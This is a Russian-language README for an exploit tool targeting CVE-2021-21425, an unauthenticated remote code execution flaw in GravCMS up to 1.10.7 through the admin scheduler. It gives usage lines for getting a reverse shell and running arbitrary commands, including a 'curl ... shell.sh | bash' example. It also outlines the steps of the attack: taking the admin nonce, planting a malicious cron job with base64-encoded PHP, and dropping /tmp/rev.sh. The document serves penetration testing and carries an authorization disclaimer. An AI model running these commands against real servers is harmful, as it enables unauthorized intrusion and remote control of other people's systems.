
CVE-2021-21425 - GravCMS 1.10.7 Неавторизованное RCE через Scheduler. Улучшенный эксплойт с аргументами CLI и автоматическим кодированием base64.
Улучшенный proof-of-concept для CVE-2021-21425 — уязвимости неаутентифицированного удалённого выполнения кода в GravCMS <= 1.10.7 через произвольную запись YAML в планировщик.
Это производная работа. Уязвимость и оригинальный эксплойт принадлежат не мне.
| Роль | Кто |
|---|---|
| Уязвимость обнаружена | Mehmet Ince (@mdisec), PRODAFT / INVICTUS Europe — март 2021 |
| Оригинальный PoC | "legend" — Exploit-DB EDB-49973 |
| Изменения в этом репозитории | d4ytox |
Оригинальный EDB-49973 требует ручного редактирования жёстко заданных значений в скрипте. В этой версии добавлены:
-c)Это изменения удобства использования существующего эксплойта. Никаких исследований уязвимости не заявлено.
| Поле | Значение |
|---|---|
| CVE | CVE-2021-21425 |
| EDB-ID | 49973 |
| Затронуто | GravCMS <= 1.10.7 |
| Тип | Неаутентифицированное RCE |
| CVSS | 9.8 (Critical) |
Плагин Grav Admin не проверяет аутентификацию на некоторых административных маршрутах, что позволяет неаутентифицированным пользователям записывать произвольную конфигурацию YAML. Этот эксплойт использует конфигурацию планировщика для создания задания cron, выполняющего произвольный PHP-код.
# Reverse shell
python3 exploit.py -t http://target -s <LHOST> <LPORT>
# Custom command
python3 exploit.py -t http://target -c "id"
# Get reverse shell on target
python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444
# Execute command
python3 exploit.py -t http://grav.local:8080 -c "curl http://10.10.14.5/shell.sh | bash"
pip install requests
/admin для извлечения токена admin-nonce (аутентификация не требуется из-за уязвимости)/admin/config/scheduler с конфигурацией вредоносного задания cron/usr/bin/php -r eval(base64_decode(...))/tmp/rev.sh и выполняет егоЗадание cron запускается каждую минуту (* * * * *), поэтому шелл приходит в течение 60 секунд.
MIT, применяется только к изменениям в этом репозитории. Оригинальный PoC не имеет лицензии, поэтому все права остаются за его автором. Полное уведомление об атрибуции см. в LICENSE.
Только для авторизованного тестирования безопасности. Убедитесь, что у вас есть письменное разрешение перед тестированием любой системы.